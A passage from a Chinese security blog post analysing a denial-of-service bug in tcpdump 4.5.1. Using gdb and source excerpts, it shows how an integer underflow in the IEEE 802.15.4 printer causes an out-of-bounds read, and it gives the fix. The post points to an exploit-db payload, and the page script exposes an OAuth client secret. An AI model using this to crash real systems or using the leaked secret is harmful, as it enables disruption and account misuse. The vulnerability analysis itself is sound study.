class="line">11. #7 0xb7de9637 <span class="keyword">in</span> __libc_start_main (<span class="attribute">main</span>=0x804a4c0 &lt;main&gt;, <span class="attribute">argc</span>=0x3, <span class="attribute">argv</span>=0xbffff6c4, <span class="attribute">init</span>=0x80b1230 &lt;__libc_csu_init&gt;,</span><br><span class="line">12. <span class="attribute">fini</span>=0x80b1290 &lt;__libc_csu_fini&gt;, <span class="attribute">rtld_fini</span>=0xb7fea880 &lt;_dl_fini&gt;, <span class="attribute">stack_end</span>=0xbffff6bc) at <span class="built_in">..</span>/csu/libc-start.c:291</span><br><span class="line">13. #8 0x0804c245 <span class="keyword">in</span> _start ()</span><br></pre></td></tr></table></figure></p>
<p>函数调用流程<br><figure class="highlight 1c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">pcap_loop</span><br><span class="line"> <span class="string">|----print_packet</span></span><br><span class="line"> <span class="string">|-----hex_and_ascii_print</span></span><br><span class="line"> <span class="string">|-------- hex_and_ascii_print_with_offset</span></span><br></pre></td></tr></table></figure></p>
<p>由此可见从main函数开始了一连串函数调用git源码下来看看。<br>tcpdump.c找到pcap_loop调用<br><figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span> do &#123;</span><br><span class="line"><span class="number">2.</span> status = pcap_loop(pd, cnt, callback, pcap_userdata);</span><br><span class="line"><span class="number">3.</span> if (WFileName == NULL) &#123;</span><br><span class="line"><span class="number">4.</span> <span class="comment">/*</span></span><br><span class="line"><span class="comment">5. * We're printing packets. Flush the printed output,</span></span><br><span class="line"><span class="comment">6. * so it doesn't get intermingled with error output.</span></span><br><span class="line"><span class="comment">7. */</span></span><br><span class="line"><span class="number">8.</span> if (status == <span class="number">-2</span>) &#123;</span><br><span class="line"><span class="number">9.</span> <span class="comment">/*</span></span><br><span class="line"><span class="comment">10. * We got interrupted, so perhaps we didn't</span></span><br><span class="line"><span class="comment">11. * manage to finish a line we were printing.</span></span><br><span class="line"><span class="comment">12. * Print an extra newline, just in case.</span></span><br><span class="line"><span class="comment">13. */</span></span><br><span class="line"><span class="number">14.</span> putchar('n');</span><br><span class="line"><span class="number">15.</span> &#125;</span><br><span class="line"><span class="number">16.</span> (void)fflush(stdout);</span><br><span class="line"><span class="number">17.</span> &#125;</span><br></pre></td></tr></table></figure></p>
<p>设置断点之后查看一下该函数的执行结果</p>
<p>pcap_loop通过callback指向print_packet,来看一下它的源码<br><figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span> static void</span><br><span class="line"><span class="number">2.</span> print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)</span><br><span class="line"><span class="number">3.</span> &#123;</span><br><span class="line"><span class="number">4.</span> struct print_info *print_info;</span><br><span class="line"><span class="number">5.</span> u_int hdrlen;</span><br><span class="line"><span class="number">6.</span> ++packets_captured;</span><br><span class="line"><span class="number">7.</span> ++infodelay;</span><br><span class="line"><span class="number">8.</span> ts_print(&amp;h-&gt;ts);</span><br><span class="line"><span class="number">9.</span> print_info = (struct print_info *)user;</span><br><span class="line"><span class="number">10.</span> <span class="comment">/*</span></span><br><span class="line"><span class="comment">11. * Some printers want to check that they're not walking off the</span></span><br><span class="line"><span class="comment">12. * end of the packet.</span></span><br><span class="line"><span class="comment">13. * Rather than pass it all the way down, we set this global.</span></span><br><span class="line"><span class="comment">14. */</span></span><br><span class="line"><span class="number">15.</span> snapend = sp + h-&gt;caplen;</span><br><span class="line"><span class="number">16.</span> if(print_info-&gt;ndo_type) &#123;</span><br><span class="line"><span class="number">17.</span> hdrlen = (*print_info-&gt;p.ndo_printer)(print_info-&gt;ndo, h, sp);&lt;====</span><br><span class="line"><span class="number">18.</span> &#125; else &#123;</span><br><span class="line"><span class="number">19.</span> hdrlen = (*print_info-&gt;p.printer)(h, sp);</span><br><span class="line"><span class="number">20.</span> &#125;</span><br><span class="line"><span class="number">21.</span> putchar('n');</span><br><span class="line"><span class="number">22.</span> --infodelay;</span><br><span class="line"><span class="number">23.</span> if (infoprint)</span><br><span class="line"><span class="number">24.</span> info(<span class="number">0</span>);&#125;</span><br></pre></td></tr></table></figure></p>
<p>同样设置断点看该函数是如何调用执行的</p>
<p>这是我们可以根据call的信息计算出调用的函数名</p>
<p>其中(*print_info-&gt;p.ndo_printer)(print_info-&gt;ndo,h,sp)指向ieee802_15_4_if_print</p>
<figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">25.</span> u_int</span><br><span class="line"><span class="number">26.</span> ieee802_15_4_if_print(struct netdissect_options *ndo,</span><br><span class="line"><span class="number">27.</span> <span class="keyword">const</span> struct pcap_pkthdr *h, <span class="keyword">const</span> u_char *p)</span><br><span class="line"><span class="number">28.</span> &#123;</span><br><span class="line"><span class="number">29.</span> <span class="built_in">printf</span>(<span class="string">"address : %x\n"</span>,p);</span><br><span class="line"><span class="number">30.</span> u_int caplen = h-&gt;caplen; <span class="comment">//传入的caplen赋值给无符号整形变量caplen,且该值为8</span></span><br><span class="line"><span class="number">31.</span> <span class="keyword">int</span> hdrlen;</span><br><span class="line"><span class="number">32.</span> <span class="keyword">u_int16_t</span> fc;</span><br><span class="line"><span class="number">33.</span> <span class="keyword">u_int8_t</span> seq;</span><br><span class="line"><span class="number">34.</span> <span class="keyword">if</span> (caplen &lt; <span class="number">3</span>) &#123; <span class="comment">//不满足</span></span><br><span class="line"><span class="number">35.</span> ND_PRINT((ndo, <span class="string">"[|802.15.4] %x"</span>, caplen));</span><br><span class="line"><span class="number">36.</span> <span class="keyword">return</span> caplen;</span><br><span class="line"><span class="number">37.</span> &#125;</span><br><span class="line"><span class="number">38.</span> fc = EXTRACT_LE_16BITS(p);</span><br><span class="line"><span class="number">39.</span> hdrlen = extract_header_length(fc);</span><br><span class="line"><span class="number">40.</span> seq = EXTRACT_LE_8BITS(p + <span class="number">2</span>);</span><br><span class="line"><span class="number">41.</span> p += <span class="number">3</span>;</span><br><span class="line"><span class="number">42.</span> caplen -= <span class="number">3</span>;<span class="comment">//此时caplen = 5</span></span><br><span class="line"><span class="number">43.</span> ND_PRINT((ndo,<span class="string">"IEEE 802.15.4 %s packet "</span>, ftypes[fc &amp; <span class="number">0x7</span>]));</span><br><span class="line"><span class="number">44.</span> <span class="keyword">if</span> (vflag)</span><br><span class="line"><span class="number">45.</span> ND_PRINT((ndo,<span class="string">"seq %02x "</span>, seq));</span><br><span class="line"><span class="number">46.</span> <span class="keyword">if</span> (hdrlen == <span class="number">-1</span>) &#123;</span><br><span class="line"><span class="number">47.</span> ND_PRINT((ndo,<span class="string">"malformed! "</span>));</span><br><span class="line"><span class="number">48.</span> <span class="keyword">return</span> caplen;</span><br><span class="line"><span class="number">49.</span> &#125;</span><br><span class="line"><span class="number">50.</span> <span class="keyword">if</span> (!vflag) &#123;</span><br><span class="line"><span class="number">51.</span> p+= hdrlen;</span><br><span class="line"><span class="number">52.</span> caplen -= hdrlen;</span><br><span class="line"><span class="number">53.</span> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"><span class="number">54.</span> <span class="keyword">u_int16_t</span> panid = <span class="number">0</span>;</span><br><span class="line"><span class="number">55.</span> <span class="keyword">switch</span> ((fc &gt;&gt; <span class="number">10</span>) &amp; <span class="number">0x3</span>) &#123;</span><br><span class="line"><span class="number">56.</span> <span class="keyword">case</span> <span class="number">0x00</span>:</span><br><span class="line"><span class="number">57.</span> ND_PRINT((ndo,<span class="string">"none "</span>));</span><br><span class="line"><span class="number">58.</span> <span class="keyword">break</span>;</span><br><span class="line"><span class="number">59.</span> <span class="keyword">case</span> <span class="number">0x01</span>:</span><br><span class="line"><span class="number">60.</span> ND_PRINT((ndo,<span class="string">"reserved destination addressing mode"</span>));</span><br><span class="line"><span class="number">61.</span> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="number">62.</span> <span class="keyword">case</span> <span class="number">0x02</span>:</span><br><span class="line"><span class="number">63.</span> panid = EXTRACT_LE_16BITS(p);</span><br><span class="line"><span class="number">64.</span> p += <span class="number">2</span>;</span><br><span class="line"><span class="number">65.</span> ND_PRINT((ndo,<span class="string">"%04x:%04x "</span>, panid, EXTRACT_LE_16BITS(p)));</span><br><span class="line"><span class="number">66.</span> p += <span class="number">2</span>;</span><br><span class="line"><span class="number">67.</span> <span class="keyword">break</span>;</span><br><span class="line"><span class="number">68.</span> <span class="keyword">case</span> <span class="number">0x03</span>:</span><br><span class="line"><span class="number">69.</span> panid = EXTRACT_LE_16BITS(p);</span><br><span class="line"><span class="number">70.</span> p += <span class="number">2</span>;</span><br><span class="line"><span class="number">71.</span> ND_PRINT((ndo,<span class="string">"%04x:%s "</span>, panid, le64addr_string(p)));</span><br><span class="line"><span class="number">72.</span> p += <span class="number">8</span>;</span><br><span class="line"><span class="number">73.</span> <span class="keyword">break</span>;</span><br><span class="line"><span class="number">74.</span> &#125;</span><br><span class="line"><span class="number">75.</span> ND_PRINT((ndo,<span class="string">"&lt; "</span>);</span><br><span class="line"><span class="number">76.</span> <span class="keyword">switch</span> ((fc &gt;&gt; <span class="number">14</span>) &amp; <span class="number">0x3</span>) &#123;</span><br><span class="line"><span class="number">77.</span> <span class="keyword">case</span> <span class="number">0x00</span>:</span><br><span class="line"><span class="number">78.</span> ND_PRINT((ndo,<span class="string">"none "</span>));</span><br><span class="line"><span class="number">79.</span> <span class="keyword">break</span>;</span><br><span class="line"><span class="number">80.</span> <span class="keyword">case</span> <span class="number">0x01</span>:</span><br><span class="line"><span class="number">81.</span> ND_PRINT((ndo,<span class="string">"reserved source addressing mode"</span>));</span><br><span class="line"><span class="number">82.</span> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="number">83.</span> <span class="keyword">case</span> <span class="number">0x02</span>:</span><br><span class="line"><span class="number">84.</span> <span class="keyword">if</span> (!(fc &amp; (<span class="number">1</span> &lt;&lt; <span class="number">6</span>))) &#123;</span><br><span class="line"><span class="number">85.</span> panid = EXTRACT_LE_16BITS(p);</span><br><span class="line"><span class="number">86.</span> p += <span class="number">2</span>;</span><br><span class="line"><span class="number">87.</span> &#125;</span><br><span class="line"><span class="number">88.</span> ND_PRINT((ndo,<span class="string">"%04x:%04x "</span>, panid, EXTRACT_LE_16BITS(p)));</span><br><span class="line"><span class="number">89.</span> p += <span class="number">2</span>;</span><br><span class="line"><span class="number">90.</span> <span class="keyword">break</span>;</span><br><span class="line"><span class="number">91.</span> <span class="keyword">case</span> <span class="number">0x03</span>:</span><br><span class="line"><span class="number">92.</span> <span class="keyword">if</span> (!(fc &amp; (<span class="number">1</span> &lt;&lt; <span class="number">6</span>))) &#123;</span><br><span class="line"><span class="number">93.</span> panid = EXTRACT_LE_16BITS(p);</span><br><span class="line"><span class="number">94.</span> p += <span class="number">2</span>;</span><br><span class="line"><span class="number">95.</span> &#125;</span><br><span class="line"><span class="number">96.</span> ND_PRINT((ndo,<span class="string">"%04x:%s "</span>, panid, le64addr_string(p))));</span><br><span class="line"><span class="number">97.</span> p += <span class="number">8</span>;</span><br><span class="line"><span class="number">98.</span> <span class="keyword">break</span>;</span><br><span class="line"><span class="number">99.</span> &#125;</span><br><span class="line"><span class="number">100.</span> caplen -= hdrlen;</span><br><span class="line"><span class="number">101.</span> &#125;</span><br></pre></td></tr></table></figure>
<p>传入的第二个值是struct pcap_pkthdr *h结构体函数使用的参数caplen就是结构体中的caplen不难看出caplen进行一些加减操作后没有判断正负直接丢给了下一个函数使用。<br>直接跟进函数,看看最后赋值情况</p>
<p>从源码和调试信息可以看到libpcap在处理不正常包时不严谨导致包的头长度hdrlen竟然大于捕获包长度caplen并且在处理时又没有相关的判断。hdrlen和caplen都是非负整数导致caplen==0xfffffff3过长。<br>继续跟进hex_and_asciii_print(ndo_default_print)</p>
<figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span> void</span><br><span class="line"><span class="number">2.</span> hex_and_ascii_print(register const char *ident, register const u_char *cp,</span><br><span class="line"><span class="number">3.</span> register u_int length)</span><br><span class="line"><span class="number">4.</span> &#123;</span><br><span class="line"><span class="number">5.</span> hex_and_ascii_print_with_offset(ident, cp, length, <span class="number">0</span>);</span><br><span class="line"><span class="number">6.</span> &#125;</span><br><span class="line"></span><br><span class="line">其中length==<span class="number">0xfffffff3</span>,继续执行</span><br><span class="line"><span class="number">1.</span> void</span><br><span class="line"><span class="number">2.</span> hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,</span><br><span class="line"><span class="number">3.</span> register u_int oset)</span><br><span class="line"><span class="number">4.</span> &#123;</span><br><span class="line"><span class="number">5.</span> register u_int i, s;</span><br><span class="line"><span class="number">6.</span> register int nshorts;</span><br><span class="line"><span class="number">7.</span></span><br><span class="line"><span class="number">8.</span> nshorts = (u_int) length / sizeof(u_short);</span><br><span class="line"><span class="number">9.</span> i = <span class="number">0</span>;</span><br><span class="line"><span class="number">10.</span> while (--nshorts &gt;= <span class="number">0</span>) &#123;</span><br><span class="line"><span class="number">11.</span> if ((i++ % <span class="number">8</span>) == <span class="number">0</span>) &#123;</span><br><span class="line"><span class="number">12.</span> (void)printf(<span class="string">"%s0x%04x: "</span>, ident, oset);</span><br><span class="line"><span class="number">13.</span> oset += HEXDUMP_BYTES_PER_LINE;</span><br><span class="line"><span class="number">14.</span> &#125;</span><br><span class="line"><span class="number">15.</span> s = *cp++; &lt;======= 抛出错误位置</span><br><span class="line"><span class="number">16.</span> (void)printf(<span class="string">" %02x%02x"</span>, s, *cp++);</span><br><span class="line"><span class="number">17.</span> &#125;</span><br><span class="line"><span class="number">18.</span> if (length &amp; <span class="number">1</span>) &#123;</span><br><span class="line"><span class="number">19.</span> if ((i % <span class="number">8</span>) == <span class="number">0</span>)</span><br><span class="line"><span class="number">20.</span> (void)printf(<span class="string">"%s0x%04x: "</span>, ident, oset);</span><br><span class="line"><span class="number">21.</span> (void)printf(<span class="string">" %02x"</span>, *cp);</span><br><span class="line"><span class="number">22.</span> &#125;</span><br><span class="line">nshorts=(u_int) length / sizeof(u_short) =&gt; nshorts=<span class="number">0xfffffff3</span>/<span class="number">2</span>=<span class="number">7</span>FFFFFF9</span><br></pre></td></tr></table></figure>
<p>但数据包数据没有这么长导致了crash。</p>
<h3 id="内存分析"><a href="#内存分析" class="headerlink" title="内存分析"></a>内存分析</h3><p>仔细分析之后发现通过len判断的这个长度并没有进行控制如果是自己构造的一个超长len的数据包则会连续读取到不可估计的值。<br>通过查看epx的值来看一下这个内存到底开辟到什么位置<br><figure class="highlight dns"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>. gdb-peda$ x/<span class="number">10000000</span>x <span class="number">0</span>x81e33bd</span><br><span class="line"><span class="number">2</span>. <span class="number">0</span>x8203fdd: <span class="number">0x00000000</span> <span class="number">0x00000000</span> <span class="number">0x00000000</span> <span class="number">0x00000000</span></span><br><span class="line"><span class="number">3</span>. <span class="number">0</span>x8203fed: <span class="number">0x00000000</span> <span class="number">0x00000000</span> <span class="number">0x00000000</span> <span class="number">0x00000000</span></span><br><span class="line"><span class="number">4</span>. <span class="number">0</span>x8203ffd: Cannot access memory at address <span class="number">0x8204000</span></span><br></pre></td></tr></table></figure></p>
<p>可以看到到达0x 8204000附近的时候就是无法读取的无效地址了那么初始值为0x 81e33bd用两个值相减。0x 8204000-0x 81e33bd = 0x 20c40因为ebx+ebp*2+0x1一次读取两个字节那么循环计数器就要除以2最后结果为0x 10620。<br>来看一下到达拒绝服务位置读取的长度EBX: 0x81e33bd &gt; 0x0EBP: 0x10621<br>EBP刚好为10621。正是不可读取内存空间的地址因此造成拒绝服务。</p>
<h3 id="漏洞总结"><a href="#漏洞总结" class="headerlink" title="漏洞总结"></a>漏洞总结</h3><p>总结一下整个漏洞触发过程首先tcpdump会读取恶意构造的pcap包在构造pcap包的时候设置一个超长的数据包长度tcpdump会根据len的长度去读取保存在内存空间数据包的内容当引用到不可读取内存位置时会由于引用不可读指针造成拒绝服务漏洞。</p>
<h2 id="漏洞修补"><a href="#漏洞修补" class="headerlink" title="漏洞修补"></a>漏洞修补</h2><p>Libpcap依然是apt安装的默认版本tcpdump使用4.7 .0-bp版本<br>在hex_and_ascii_print_with_offset中增加对caplength的判断<br><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">1. </span>caplength = (ndo-&gt;ndo<span class="emphasis">_snapend &gt;= cp) ? ndo-&gt;ndo_</span>snapend - cp : 0;</span><br><span class="line"><span class="bullet">2. </span>if (length &gt; caplength)</span><br><span class="line"><span class="bullet">3. </span>length = caplength;</span><br><span class="line"><span class="bullet">4. </span>nshorts = length / sizeof(u_short);</span><br><span class="line"><span class="bullet">5. </span>i = 0;</span><br><span class="line"><span class="bullet">6. </span>hsp = hexstuff; asp = asciistuff;</span><br><span class="line"><span class="bullet">7. </span>while (--nshorts &gt;= 0) &#123;</span><br><span class="line"><span class="bullet">8. </span>...</span><br><span class="line"><span class="bullet">9. </span>&#125;</span><br></pre></td></tr></table></figure></p>
<p>可以看到执行完caplength = (ndo-&gt;ndo_snapend &gt;= cp) ? ndo-&gt;ndo_snapend - cp : 0;caplength为0继续执行可以推出length同样为0到这里已经不会发生错误了。</p>
<h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://www.exploit-db.com/exploits/39875/" target="_blank" rel="noopener">exploit-db payload</a><br><a href="https://whereisk0shl.top/post/2016-10-23-1" target="_blank" rel="noopener">WHEREISK0SHL分析博客</a><br><a href="https://github.com/the-tcpdump-group" target="_blank" rel="noopener">libpcap/tcpdump源码</a></p>
</div>
<div>
<div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
<div>您的支持将鼓励我继续创作!</div>
<button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
<span>打赏</span>
</button>
<div id="QR" style="display: none;">
<div id="wechat" style="display: inline-block">
<img id="wechat_qr" src="/images/Wechatpay.png" alt="Cool-Y 微信支付">
<p>微信支付</p>
</div>
<div id="alipay" style="display: inline-block">
<img id="alipay_qr" src="/images/Alipay.png" alt="Cool-Y 支付宝">
<p>支付宝</p>
</div>
</div>
</div>
</div>
<footer class="post-footer">
<div class="post-tags">
<a href="/tags/TCPDUMP/" rel="tag"># TCPDUMP</a>
<a href="/tags/拒绝服务攻击/" rel="tag"># 拒绝服务攻击</a>
</div>
<div class="post-nav">
<div class="post-nav-next post-nav-item">
<a href="/2018/12/23/基于规则引擎发现IOT设备/" rel="next" title="基于采集规则引擎的物联网设备发现方法">
<i class="fa fa-chevron-left"></i> 基于采集规则引擎的物联网设备发现方法
</a>
</div>
<span class="post-nav-divider"></span>
<div class="post-nav-prev post-nav-item">
<a href="/2019/01/16/wifi半双工侧信道攻击学习笔记/" rel="prev" title="wifi半双工侧信道攻击学习笔记">
wifi半双工侧信道攻击学习笔记 <i class="fa fa-chevron-right"></i>
</a>
</div>
</div>
</footer>
</div>
</article>
<div class="post-spread">
</div>
</div>
</div>
<div class="comments" id="comments">
<div id="gitment-container"></div>
</div>
</div>
<div class="sidebar-toggle">
<div class="sidebar-toggle-line-wrap">
<span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
<span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
<span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
</div>
</div>
<aside id="sidebar" class="sidebar">
<div class="sidebar-inner">
<ul class="sidebar-nav motion-element">
<li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
文章目录
</li>
<li class="sidebar-nav-overview" data-target="site-overview-wrap">
站点概览
</li>
</ul>
<section class="site-overview-wrap sidebar-panel">
<div class="site-overview">
<div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
<img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
<p class="site-author-name" itemprop="name">Cool-Y</p>
<p class="site-description motion-element" itemprop="description"></p>
</div>
<nav class="site-state motion-element">
<div class="site-state-item site-state-posts">
<a href="/archives/">
<span class="site-state-item-count">18</span>
<span class="site-state-item-name">日志</span>
</a>
</div>
<div class="site-state-item site-state-categories">
<a href="/categories/index.html">
<span class="site-state-item-count">6</span>
<span class="site-state-item-name">分类</span>
</a>
</div>
<div class="site-state-item site-state-tags">
<a href="/tags/index.html">
<span class="site-state-item-count">36</span>
<span class="site-state-item-name">标签</span>
</a>
</div>
</nav>
<div class="links-of-author motion-element">
<span class="links-of-author-item">
<a href="https://github.com/Cool-Y" target="_blank" title="GitHub">
<i class="fa fa-fw fa-github"></i>GitHub</a>
</span>
<span class="links-of-author-item">
<a href="mailto:cool.yim@whu.edu.cn" target="_blank" title="E-Mail">
<i class="fa fa-fw fa-envelope"></i>E-Mail</a>
</span>
<span class="links-of-author-item">
<a href="https://www.instagram.com/yan__han/" target="_blank" title="Instagram">
<i class="fa fa-fw fa-instagram"></i>Instagram</a>
</span>
</div>
</div>
</section>
<!--noindex-->
<section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
<div class="post-toc">
<div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#TCPDUMP-4-5-1-拒绝服务攻击漏洞分析"><span class="nav-text">TCPDUMP 4.5.1 拒绝服务攻击漏洞分析</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#Tcpdump介绍"><span class="nav-text">Tcpdump介绍</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#分析环境"><span class="nav-text">分析环境</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#漏洞复现"><span class="nav-text">漏洞复现</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#编译安装tcpdump"><span class="nav-text">编译安装tcpdump</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#生成payload来自exploit-db-payload"><span class="nav-text">生成payload来自exploit-db payload</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#崩溃分析"><span class="nav-text">崩溃分析</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#pcap包格式"><span class="nav-text">pcap包格式</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#gdb调试"><span class="nav-text">gdb调试</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#内存分析"><span class="nav-text">内存分析</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#漏洞总结"><span class="nav-text">漏洞总结</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#漏洞修补"><span class="nav-text">漏洞修补</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#参考"><span class="nav-text">参考</span></a></li></ol></li></ol></div>
</div>
</section>
<!--/noindex-->
</div>
</aside>
</div>
</main>
<footer id="footer" class="footer">
<div class="footer-inner">
<div class="copyright">&copy; <span itemprop="copyrightYear">2019</span>
<span class="with-love">
<i class="fa fa-user"></i>
</span>
<span class="author" itemprop="copyrightHolder">Cool-Y</span>
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-area-chart"></i>
</span>
<span title="Site words total count">49.9k</span>
</div>
<div class="powered-by"><a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
<div class="busuanzi-count">
<script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<span class="site-uv">
<i class="fa fa-user"></i>
<span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
</span>
<span class="site-pv">
<i class="fa fa-eye"></i>
<span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
</span>
</div>
</div>
</footer>
<div class="back-to-top">
<i class="fa fa-arrow-up"></i>
</div>
</div>
<script type="text/javascript">
if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
window.Promise = null;
}
</script>
<script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
<script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
<script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
<script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
<script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
<script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
<script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>
<!-- LOCAL: You can save these files to your site and update links -->
<link rel="stylesheet" href="https://jjeejj.github.io/css/gitment.css">
<script src="https://jjeejj.github.io/js/gitment.js"></script>
<!-- END LOCAL -->
<script type="text/javascript">
function renderGitment(){
var gitment = new Gitment({
id: window.location.pathname,
owner: 'Cool-Y',
repo: 'gitment-comments',
oauth: {
client_secret: '1c5db4da72df5e6fc318d12afe5f4406f7c54343',
client_id: '180955a2c3ae3d966d9a'
}});
gitment.render('gitment-container');
}
renderGitment();
</script>
<script type="text/javascript">
// Popup Window;
var isfetched = false;
var isXml = true;
// Search DB path;
var search_path = "search.xml";
if (search_path.length === 0) {
search_path = "search.xml";
} else if (/json$/i.test(search_path)) {
isXml = false;
}
var path = "/" + search_path;
// monitor main search box;
var onPopupClose = function (e) {
$('.popup').hide();
$('#local-search-input').val('');
$('.search-result-list').remove();
$('#no-result').remove();
$(".local-search-pop-overlay").remove();
$('body').css('overflow', '');
}
function proceedsearch() {
$("body")
.append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
